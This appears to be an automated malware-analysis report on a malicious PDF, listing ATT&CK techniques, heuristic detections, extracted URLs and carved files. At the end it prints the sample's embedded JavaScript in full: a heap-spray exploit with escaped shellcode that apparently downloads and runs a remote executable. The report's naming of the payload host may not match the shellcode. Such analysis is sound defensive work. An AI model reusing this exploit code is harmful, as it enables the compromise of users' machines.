MALICIOUS
186
Risk Score
Malware Insights
MITRE ATT&CK
T1059.007 JavaScript
T1203 Exploitation for Client Execution
T1566.001 Spearphishing Attachment
The PDF sample contains embedded JavaScript that is heavily obfuscated using String.fromCharCode and concatenation. The script appears to be designed to download and execute a second-stage payload from the URL 'http://www.flashandmath.com'. The presence of PDF JavaScript exploit cluster heuristics and ML classification strongly indicates malicious intent.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 8
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JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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RichMedia (Flash) high PDF_RICHMEDIAPDF contains /RichMedia (Adobe Flash) which is a historic exploit vector
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ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEXHex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
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Embedded file low PDF_EMBEDDEDPDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.flashandmath.com In PDF document text
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
- http://ns.adobe.com/xap/1.0/In PDF document text
- http://purl.org/dc/elements/1.1/In PDF document text
- http://ns.adobe.com/xap/1.0/mm/In PDF document text
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In PDF document text
- http://adobe.com/AS3/2006/builtinIn PDF document text
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
Adobe.swfce5f7936cf8e3536a88a804ce2d6902022df1794fa878bdc64a26866e34ba989 |
pdf-embedded-file | PDF EmbeddedFile object 16 at offset 0xAC9 | 55839 bytes |
javascript_obj0006_000.js3d3e9bd060912d4166f99f76a75a7d77a0e7b94ab4ab80506305896587a3bbbf |
pdf-javascript-stream | PDF /JS object 6 at offset 0xF5 | 1588 bytes |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
var padding = String.fromCharCode(37008) + String.fromCharCode(37008);var html = padding + '\u46EB\u315F\u83C9\u01E9\uFE89\uC030\u012C\uAEF2\u47FE\u89FF\u30FB\u2CC0\uF201\uFEAE\uFF47\uFD89\uAEF2\u47FE\uEBFF\u6071\uC931\u8B64\u3071\u768B\u8B0C\u1C76\u5E8B\u8B08\u2056\u368B\u3966\u184A\uF275\u5C89\u1C24\uC361\u5BEB\u8B60\u246C\u8B24\u3C45\u548B\u7805\uEA01\u4A8B\u8B18\u205A\uEB01\u34E3\u8B49\u8B34\uEE01\uFF31\uC031\uACFC\uC084\u0774\uCFC1\u0112\uEBC7\u3BF4\u247C\u7528\u8BE1\u245A\uEB01\u8B66\u4B0C\u5A8B\u011C\u8BEB\u8B04\uE801\u4489\u1C24\uC361\u54EB\uD231\u5252\u5553\uFF52\uEBD0\uEB1A\uE85D\uFF7B\uFFFF\uE7BA\u8BBA\u52C4\uE850\uFF92\uFFFF\uD231\uFF52\uEBD0\uE82D\uFF63\uFFFF\uAABA\u8A6E\u52F3\uE850\uFF7A\uFFFF\uD231\uC283\u83FF\uFAEA\u5352\uD0FF\uC9EB\u47BA\uC87D\u52A0\uE850\uFF60\uFFFF\uAEEB\u5DEB\u34E8\uFFFF\uBAFF\uCE12\u091A\u5052\u4BE8\uFFFF\u56FF\uD0FF\uDAEB\uF9E8\uFFFE\u75FF\u6C72\u6F6D\u2E6E\u6C64\uFF6C\u2E2E\u752F\u6470\u7461\u2E65\u7865\uFF65\u7468\u7074\u2F3A\u772F\u7777\u722E\u6E61\u2E6F\u6F63\u656C\u6967\u736F\u6F61\u6570\u7264\u2E6F\u6F63\u2F6D\u6F64\u6E77\u6F6C\u6461\u665F\u6C69\u2E65\u6870\u3F70\u3D65\u6441\u626F\u2D65\u3032\u3031\u322D\u3838\uFF34\u03CD';while (padding.length < 65564){ padding+=padding;}var value = padding.substring(0, 0x5f4);value += html;value += padding;var destination = value.substring(0, 32768);while(1){ destination += destination; if(destination.length >= 524288) break;}var today = destination.substring(0, 524288 - 2060);var forever = new Array();for (var infinite = 0; infinite < 496; infinite++){ forever[infinite]=today+'s';}
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